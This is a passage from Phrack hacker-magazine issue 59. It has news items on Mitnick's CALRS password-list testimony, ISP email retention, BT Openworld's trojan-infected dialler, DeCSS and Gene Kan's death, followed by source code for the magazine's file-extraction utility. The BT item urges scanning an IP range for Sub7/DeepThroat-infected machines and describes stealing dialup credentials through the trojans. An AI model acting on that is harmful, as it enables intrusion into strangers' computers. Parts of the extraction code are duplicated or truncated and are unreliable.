Mitnick said he would try. Two hours later, Mitnick returned to the hearing room clutching a crumpled, dog-eared and torn sheet of paper, and a small stack of copies for the commissioner, lawyers, and staff. At the top of the paper was printed "3703-03 Remote Access Password List." A column listed 100 "seeds", numbered "00" through "99," corresponding to a column of four digit hexadecimal "passwords," like "d4d5" and "1554." Commissioner Escobar Chanos accepted the list as an exhibit over the objections of Sprint attorney Patrick Riley, who complained that it hadn't been provided to the company in discovery. Mitnick retook the stand and explained that he used the lunch break to visit a nearby storage locker that he'd rented on a long-term basis years ago, before his arrest. "I wasn't sure if I had it in that storage locker," said Mitnick. "I hadn't been there in seven years." "If the system is still in place, and they haven't changed the seed list, you could use this to get access to CALRS," Mitnick testified. "The system would allow you to wiretap a line, or seize dial tone." Mitnick's return to the hearing room with the list generated a flurry of activity at Sprint's table; Ann Pongracz, the company's general counsel, and another Sprint employee strode quickly from the room -- Pongracz already dialing on a cell phone while she walked. Riley continued his cross examination of Mitnick, suggesting, again, that the ex-hacker may have made the whole thing up. "The only way I know that this is a Nortel document is to take you at your word, correct?," asked Riley. "How do we know that you're not social engineering us now?" Mitnick suggested calmly that Sprint try the list out, or check it with Nortel. Nortel could not be reached for comment. |=[ 0x05 - Feds may require all email to be kept by ISP's ]=-------------=| By Kelley Beaucar Vlahos Fox News WASHINGTON - It may sound like a plot device for a futuristic movie, but the federal government may not be far from forcing Internet service providers to keep copies of all e-mail exchanges in the interest of homeland security. The White House denied a Washington Post report Thursday alleging that the Al Qaeda terrorist network is working on using online and stored data to disrupt the workings of power grids, air traffic towers, dams, and other infrastructure. But a White House official did acknowledge that Al Qaeda has an interest in developing such abilities. And it's that interest that has technology circles wondering if the federal government is going to follow the European Union's lead in passing legislation that would allow the government to mine data on customers saved by ISPs. Last month, the European Union passed a resolution that would require all ISPs to store for up to seven years e-mail message headers, Web-surfing histories, chat logs, pager records, phone and fax connections, passwords, and more. Already, Germany, France, Belgium, and Spain have drafted laws that comply with the directive. Technology experts say the U.S. federal government may try to do the same thing using the vast law enforcement allowances provided under the USA Patriot Act. "They drafted the Patriot Act to lower all of the thresholds for the invasion of privacy," said Gene Riccoboni, a New York-based Internet lawyer who said he has found loopholes in the anti-terror legislation that could open up the possibility for an EU-style data retention provision. Under the Patriot Act signed into law in October, law enforcement needs as little as an administrative subpoena to trace names, e-mail addresses, types of Internet access individuals use, and credit card numbers used online. |=[ 0x06 - BT OPENWORLD silent over infection /Customers still clueless ]=| From: "Bakb0ne" Subject: [phrackstaff] WORLD NEWS / BT OPENWORLD silent over infection / Customers still clueless after nearly 2 yrs Btopenworld [1] have been notified to a problem with their Customers computers being infected with the DEEPTHROAT, SUB7 and BO server files (Available from [2]) The computers were infected by downloading and installing BTOWs Dialler Software. Bt were aware of this fact around 18 months ago and the only thing they have done is replace the infected download with a fresh copy of their software. No customers have been notified and there are still hundreds of users infected with the trojans. Just scan the Ip range 213.122.*.* using the DeepThroat or Sub7 ip scanner and you will see for yourself... Oh.. one positive note is that BTOW have changed the way you pdate Credit Card information. Previously you could simple use DT to do a "RAS RIP" (steal dialup info), Go onto the BTOW account details section and log-on. Sometimes you would have to enter D.O.B and mothers maiden name.. but with access to your victims machine this was never hard to get... Before you all start going on about how LAME trojans are and only Script-Kiddies use them, think about the damage they do and how popular they are. The reason why I have been using the trojans mentioned above is to see how many ppl are infected and what is posible to access with these programs installed on a target puter... Oh and I always inform the ppl that they are infected and how to remove the Trojan form their Machine.. Bakb0ne (Bakb0ne@BTopenworld.com) [1] Http://www.BtOpenworld.com [2] Http://www.tlsecurity.com |=[ 0x07 - DeCCS is Free Speech ]=---------------------------------------=| An appeals court in California has sided with DVD code crackers like teenage computer whiz-kid Jon Johansen from Norway. The ruling is a kick in the face of the multi-billion-dollar entertainment industry, which is trying to protect its warez by censorship. Jon Johansen, aslo known by the tabloid as DVD-Jon, ran into trouble when he (with some friends) reverse-engineered the DVD codes and shared the findings on the Internet. He was sued by some of the biggest names in the entertainment industry when he made it harder for them to control viewing videos and CDs. The CSS algorithm was extremly weak, this made it easy to recover the keys used by other DVD players, breaking the entire system. http://www.users.zetnet.co.uk/hopwood/crypto/decss/ http://www.thefab.net/topics/computing/co25_deccs_free_speech.htm |=[ 0x08 - Gnutella developer Gene Kan, 25, commits suicide ]=-----------=| By Reuters SAN FRANCISCO (REUTERS) - Gene Kan, one of the key programmers behind the popular file-sharing technology known as Gnutella, has died in an apparent suicide, officials said on Tuesday. He was 25. San Mateo County Coroner spokeswoman Sue Turner said Kan was found last week at his northern California home. "The cause of death was a perforating gunshot wound to the head," Tuner said. "It was a suicide." A spokeswoman for Kan said he died on June 29 and was cremated on July 5. Further details were being withheld at the request of the family. Kan helped develop an open source version of the Gnutella protocol, which marked a further step in popularizing the peer-to-peer file-sharing revolution pioneered by the Napster song-swapping service. |=[ EO PWN ]=------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x12 of 0x12 |=--------=[ P H R A C K E X T R A C T I O N U T I L I T Y ]=--------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ phrackstaff ]=----------------------------=| The Phrack Magazine Extraction Utility, first appearing in P50, is a convenient way to extract code from textual ASCII articles. It preserves readability and 7-bit clean ASCII codes. As long as there are no extraneous "<++>" or <-->" in the article, everything runs swimmingly. Source and precompiled version (windows, unix, ...) is available at http://www.phrack.org/misc. |=-----------------------------------------------------------------------=| <++> extract/extract4.c !8e2bebc6 /* * extract.c by Phrack Staff and sirsyko * * Copyright (c) 1997 - 2000 Phrack Magazine * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * * extract.c * Extracts textfiles from a specially tagged flatfile into a hierarchical * directory structure. Use to extract source code from any of the articles * in Phrack Magazine (first appeared in Phrack 50). * * Extraction tags are of the form: * * host:~> cat testfile * irrelevant file contents * <++> path_and_filename1 !CRC32 * file contents * <--> * irrelevant file contents * <++> path_and_filename2 !CRC32 * file contents * <--> * irrelevant file contents * <++> path_and_filenamen !CRC32 * file contents * <--> * irrelevant file contents * EOF * * The `!CRC` is optional. The filename is not. To generate crc32 values * for your files, simply give them a dummy value initially. The program * will attempt to verify the crc and fail, dumping the expected crc value. * Use that one. i.e.: * * host:~> cat testfile * this text is ignored by the program * <++> testarooni !12345678 * text to extract into a file named testarooni * as is this text * <--> * * host:~> ./extract testfile * Opened testfile * - Extracting testarooni * crc32 failed (12345678 != 4a298f18) * Extracted 1 file(s). * * You would use `4a298f18` as your crc value. * * Compilation: * gcc -o extract extract.c * * ./extract file1 file2 ... filen */ #include #include #include #include #include #include #include #include #include #define VERSION "7niner.20000430 revsion q" #define BEGIN_TAG "<++> " #define END_TAG "<-->" #define BT_SIZE strlen(BEGIN_TAG) #define ET_SIZE strlen(END_TAG) #define EX_DO_CHECKS 0x01 #define EX_QUIET 0x02 struct f_name { u_char name[256]; struct f_name *next; }; unsigned long crcTable[256]; void crcgen() { unsigned long crc, poly; int i, j; poly = 0xEDB88320L; for (i = 0; i < 256; i++) { crc = i; for (j = 8; j > 0; j--) { if (crc & 1) { crc = (crc >> 1) ^ poly; } else { crc >>= 1; } } crcTable[i] = crc; } } unsigned long check_crc(FILE *fp) { register unsigned long crc; int c; crc = 0xFFFFFFFF; while( (c = getc(fp)) != EOF ) { crc = ((crc >> 8) & 0x00FFFFFF) ^ crcTable[(crc ^ c) & 0xFF]; } if (fseek(fp, 0, SEEK_SET) == -1) { perror("fseek"); exit(EXIT_FAILURE); } return (crc ^ 0xFFFFFFFF); } int main(int argc, char **argv) { char *name; u_char b[256], *bp, *fn, flags; int i, j = 0, h_c = 0, c; unsigned long crc = 0, crc_f = 0; FILE *in_p, *out_p = NULL; struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL; while ((c = getopt(argc, argv, "cqv")) != EOF) { switch (c) { case 'c': flags |= EX_DO_CHECKS; break; case 'q': flags |= EX_QUIET; break; case 'v': fprintf(stderr, "Extract version: %s\n", VERSION); exit(EXIT_SUCCESS); } } c = argc - optind; if (c < 2) { fprintf(stderr, "Usage: %s [-cqv] file1 file2 ... filen\n", argv[0]); exit(0); } /* * Fill the f_name list with all the files on the commandline (ignoring * argv[0] which is this executable). This includes globs. */ for (i = 1; (fn = argv[i++]); ) { if (!head) { if (!(head = (struct f_name *)malloc(sizeof(struct f_name)))) { perror("malloc"); exit(EXIT_FAILURE); } strncpy(head->name, fn, sizeof(head->name)); head->next = NULL; fn_p = head; } else { if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name)))) { perror("malloc"); exit(EXIT_FAILURE); } fn_p = fn_p->next; strncpy(fn_p->name, fn, sizeof(fn_p->name)); fn_p->next = NULL; } } /* * Sentry node. */ if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name)))) { perror("malloc"); exit(EXIT_FAILURE); } fn_p = fn_p->next; fn_p->next = NULL; /* * Check each file in the f_name list for extraction tags. */ for (fn_p = head; fn_p->next; ) { if (!strcmp(fn_p->name, "-")) { in_p = stdin; name = "stdin"; } else if (!(in_p = fopen(fn_p->name, "r"))) { fprintf(stderr, "Could not open input file %s.\n", fn_p->name); fn_p = fn_p->next; continue; } else { name = fn_p->name; } if (!(flags & EX_QUIET)) { fprintf(stderr, "Scanning %s...\n", fn_p->name); } crcgen(); while (fgets(b, 256, in_p)) { if (!strncmp(b, BEGIN_TAG, BT_SIZE)) { b[strlen(b) - 1] = 0; /* Now we have a string. */ j++; crc = 0; crc_f = 0; if ((bp = strchr(b + BT_SIZE + 1, '/'))) { while (bp) { *bp = 0; if (mkdir(b + BT_SIZE, 0700) == -1 && errno != EEXIST) { perror("mkdir"); exit(EXIT_FAILURE); } *bp = '/'; bp = strchr(bp + 1, '/'); } } if ((bp = strchr(b, '!'))) { crc_f = strtoul((b + (strlen(b) - strlen(bp)) + 1), NULL, 16); b[strlen(b) - strlen(bp) - 1 ] = 0; h_c = 1; } else { h_c = 0; } if ((out_p = fopen(b + BT_SIZE, "wb+"))) { fprintf(stderr, ". Extracting %s\n", b + BT_SIZE); } else { printf(". Could not extract anything from '%s'.\n", b + BT_SIZE); continue; } } else if (!strncmp (b, END_TAG, ET_SIZE)) { if (out_p) { if (h_c == 1) { if (fseek(out_p, 0l, 0) == -1) { perror("fseek"); exit(EXIT_FAILURE); } crc = check_crc(out_p); if (crc == crc_f && !(flags & EX_QUIET)) { fprintf(stderr, ". CRC32 verified (%08lx)\n", crc); } else { if (!(flags & EX_QUIET)) { fprintf(stderr, ". CRC32 failed (%08lx != %08lx)\n", crc_f, crc); } } } fclose(out_p); } else { fprintf(stderr, ". `%s` had bad tags.\n", fn_p->name); continue; } } else if (out_p) { fputs(b, out_p); } } if (in_p != stdin) { fclose(in_p); } tmp = fn_p; fn_p = fn_p->next; free(tmp); } if (!j) { printf("No extraction tags found in list.\n"); } else { printf("Extracted %d file(s).\n", j); } return (0); } /* EOF */ <--> <++> extract/extract.pl !1a19d427 # Daos #!/bin/sh -- # -*- perl -*- -n eval 'exec perl $0 -S ${1+"$@"}' if 0; $opening=0; if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;}; if (/^\<\-\-\>/) {close ct_ex; $opened=0;}; if ($opening) { chop $curfile; $sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//); eval {mkdir $sex_dir, "0777";}; open(ct_ex,">$curfile"); print "Attempting extraction of $curfile\n"; $opened=1; } if ($opened && !$opening) {print ct_ex $_}; <--> <++> extract/extract.awk !26522c51 #!/usr/bin/awk -f # # Yet Another Extraction Script # - # /^\<\+\+\>/ { ind = 1 File = $2 split ($2, dirs, "/") Dir="." while ( dirs[ind+1] ) { Dir=Dir"/"dirs[ind] system ("mkdir " Dir" 2>/dev/null") ++ind } next } /^\<\-\-\>/ { File = "" next } File { print >> File } <--> <++> extract/extract.sh !a81a2320 #!/bin/sh # exctract.sh : Written 9/2/1997 for the Phrack Staff by # # note, this file will create all directories relative to the current directory # originally a bug, I've now upgraded it to a feature since I dont want to deal # with the leading / (besides, you dont want hackers giving you full pathnames # anyway, now do you :) # Hopefully this will demonstrate another useful aspect of IFS other than # haxoring rewt # # Usage: ./extract.sh cat $* | ( Working=1 while [ $Working ]; do OLDIFS1="$IFS" IFS= if read Line; then IFS="$OLDIFS1" set -- $Line case "$1" in "<++>") OLDIFS2="$IFS" IFS=/ set -- $2 IFS="$OLDIFS2" while [ $# -gt 1 ]; do File=${File:-"."}/$1 if [ ! -d $File ]; then echo "Making dir $File" mkdir $File fi shift done File=${File:-"."}/$1 echo "Storing data in $File" ;; "<-->") if [ "x$File" != "x" ]; then unset File fi ;; *) if [ "x$File" != "x" ]; then IFS= echo "$Line" >> $File IFS="$OLDIFS1" fi ;; esac IFS="$OLDIFS1" else echo "End of file" unset Working fi done ) <--> <++> extract/extract.py !83f65f60 #! /bin/env python # extract.py Timmy 2tone <_spoon_@usa.net> import sys, string, getopt, os class Datasink: """Looks like a file, but doesn't do anything.""" def write(self, data): pass def close(self): pass def extract(input, verbose = 1): """Read a file from input until we find the end token.""" if type(input) == type('string'): fname = input try: input = open(fname) except IOError, (errno, why): print "Can't open %s: %s" % (fname, why) return errno else: fname = '' % input.fileno() inside_embedded_file = 0 linecount = 0 line = input.readline() while line: if not inside_embedded_file and line[:4] == '<++>': inside_embedded_file = 1 linecount = 0 filename = string.strip(line[4:]) if mkdirs_if_any(filename) != 0: pass try: output = open(filename, 'w') except IOError, (errno, why): print "Can't open %s: %s; skipping file" % (filename, why) output = Datasink() continue if verbose: print 'Extracting embedded file %s from %s...' % (filename, fname), elif inside_embedded_file and line[:4] == '<-->': output.close() inside_embedded_file = 0 if verbose and not isinstance(output, Datasink): print '[%d lines]' % linecount elif inside_embedded_file: output.write(line) # Else keep looking for a start token. line = input.readline() linecount = linecount + 1 def mkdirs_if_any(filename, verbose = 1): """Check for existance of /'s in filename, and make directories.""" path, file = os.path.split(filename) if not path: return errno = 0 start = os.getcwd() components = string.split(path, os.sep) for dir in components: if not os.path.exists(dir): try: os.mkdir(dir) if verbose: print 'Created directory', path except os.error, (errno, why): print "Can't make directory %s: %s" % (dir, why) break try: os.chdir(dir) except os.error, (errno, why): print "Can't cd to directory %s: %s" % (dir, why) break os.chdir(start) return errno def usage(): """Blah.""" die('Usage: extract.py [-V] filename [filename...]') def main(): try: optlist, args = getopt.getopt(sys.argv[1:], 'V') except getopt.error, why: usage() if len(args) <= 0: usage() if ('-V', '') in optlist: verbose = 0 else: verbose = 1 for filename in args: if verbose: print 'Opening source file', filename + '...' extract(filename, verbose) def db(filename = 'P51-11'): """Run this script in the python debugger.""" import pdb sys.argv[1:] = ['-v', filename] pdb.run('extract.main()') def die(msg, errcode = 1): print msg sys.exit(errcode) if __name__ == '__main__': try: main() except KeyboardInterrupt: pass except getopt.error, why: usage() if len(args) <= 0: usage() if ('-V', '') in optlist: verbose = 0 else: verbose = 1 for filename in args: if verbose: print 'Opening source file', filename + '...' extract(filename, verbose) def db(filename = 'P51-11'): """Run this script in the python debugger.""" import pdb sys.argv[1:] = [filename] pdb.run('extract.main()') def die(msg, errcode = 1): print msg sys.exit(errcode) if __name__ == '__main__': try: main() except KeyboardInterrupt: pass # No messy traceback. <--> <++> extract/extract-win.c !e519375d /***************************************************************************/ /* WinExtract */ /* */ /* Written by Fotonik . */ /* */ /* Coding of WinExtract started on 22aug98. */ /* */ /* This version (1.0) was last modified on 22aug98. */ /* */ /* This is a Win32 program to extract text files from a specially tagged */ /* flat file into a hierarchical directory structure. Use to extract */ /* source code from articles in Phrack Magazine. The latest version of */ /* this program (both source and executable codes) can be found on my */ /* website: http://www.altern.com/fotonik */ /***************************************************************************/ #include #include #include void PowerCreateDirectory(char *DirectoryName); int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst, LPSTR lpszArgs, int nWinMode) { OPENFILENAME OpenFile; /* Structure for Open common dialog box */ char InFileName[256]=""; char OutFileName[256]; char Title[]="WinExtract - Choose a file to extract files from."; FILE *InFile; FILE *OutFile; char Line[256]; char DirName[256]; int FileExtracted=0; /* Flag used to determine if at least one file was */ int i; /* extracted */ ZeroMemory(&OpenFile, sizeof(OPENFILENAME)); OpenFile.lStructSize=sizeof(OPENFILENAME); OpenFile.hwndOwner=HWND_DESKTOP; OpenFile.hInstance=hThisInst; OpenFile.lpstrFile=InFileName; OpenFile.nMaxFile=sizeof(InFileName)-1; OpenFile.lpstrTitle=Title; OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY; if(GetOpenFileName(&OpenFile)) { if((InFile=fopen(InFileName,"r"))==NULL) { MessageBox(NULL,"Could not open file.",NULL,MB_OK); return 0; } /* If we got here, InFile is opened. */ while(fgets(Line,256,InFile)) { if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */ { Line[strlen(Line)-1]='\0'; strcpy(OutFileName,Line+5); /* Check if a dir has to be created and create one if necessary */ for(i=strlen(OutFileName)-1;i>=0;i--) { if((OutFileName[i]=='\\')||(OutFileName[i]=='/')) { strncpy(DirName,OutFileName,i); DirName[i]='\0'; PowerCreateDirectory(DirName); break; } } if((OutFile=fopen(OutFileName,"w"))==NULL) { MessageBox(NULL,"Could not create file.",NULL,MB_OK); fclose(InFile); return 0; } /* If we got here, OutFile can be written to */ while(fgets(Line,256,InFile)) { if(strncmp(Line,"<-->",4)) /* If line doesn't begin w/ "<-->" */ { fputs(Line, OutFile); } else { break; } } fclose(OutFile); FileExtracted=1; } } fclose(InFile); if(FileExtracted) { MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK); } else { MessageBox(NULL,"Nothing to extract.","Warning",MB_OK); } } return 1; } /* PowerCreateDirectory is a function that creates directories that are */ /* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */ void PowerCreateDirectory(char *DirectoryName) { int i; int DirNameLength=strlen(DirectoryName); char DirToBeCreated[256]; for(i=1;i |=[ EOF ]=---------------------------------------------------------------=|